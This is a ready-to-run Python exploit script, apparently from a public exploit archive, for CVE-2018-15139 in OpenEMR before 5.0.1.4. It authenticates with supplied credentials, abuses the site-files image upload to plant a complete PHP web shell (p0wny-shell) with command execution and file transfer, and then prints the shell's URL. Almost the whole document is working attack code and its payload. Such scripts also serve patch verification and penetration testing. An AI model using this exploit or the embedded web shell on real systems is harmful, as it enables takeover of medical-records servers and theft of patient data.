# Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
# Date 12.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: Prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15139
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139
'''
Description:
Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote
authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload
form and accessing it in the images directory.
'''
'''
Banner:
'''
banner ="""
___ _____ __ __ ____ ____ ___ _ _____
/ _ \ _ __ ___ _ __ | ____| \/ | _ \ | ___| / _ \ / | |___ /
| | | | '_ \ / _ \ '_ \| _| | |\/| | |_) | _____ |___ \| | | || | |_ \
| |_| | |_) | __/ | | | |___| | | | _ < |_____| ___) | |_| || |_ ___) |
\___/| .__/ \___|_| |_|_____|_| |_|_| \_\ |____(_)___(_)_(_)____/
|_|
_____ _ _ _
| ____|_ ___ __ | | ___ (_) |_
| _| \ \/ / '_ \| |/ _ \| | __|
| |___ > <| |_) | | (_) | | |_
|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
"""
print(banner)
'''
Import required modules
'''
import argparse
import requests
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Remote Code Execution')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
'''
Authentication:
'''
# Preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)
# Header (auth):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': auth_chek_url,
'Upgrade-Insecure-Requests': '1',
}
# Body (auth):
body = {
'new_login_session_management': '1',
'authProvider': 'Default',
'authUser': username,
'clearPass': password,
'languageChoice': '1'
}
# Authentication:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)
'''
Exploit:
'''
print('')
print('[+] Uploading Webshell:')
# URL:
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'
# Headers (Exploit):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------31900464228840324774249185339",
"Origin": "http://" + target_ip,
"Connection": "close",
"Referer": 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php',
"Upgrade-Insecure-Requests": "1"
}
# Body (Exploit):
body = "-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filedata\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n12000000\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_image\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_dest_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_education\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"bn_save\"\r\n\r\nSave\r\n-----------------------------31900464228840324774249185339--\r\n"
# Send Exploit:
session.post(exploit_url, headers=header, data=body)
# Finish
path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'
print('[+] Webshell: ' + path)
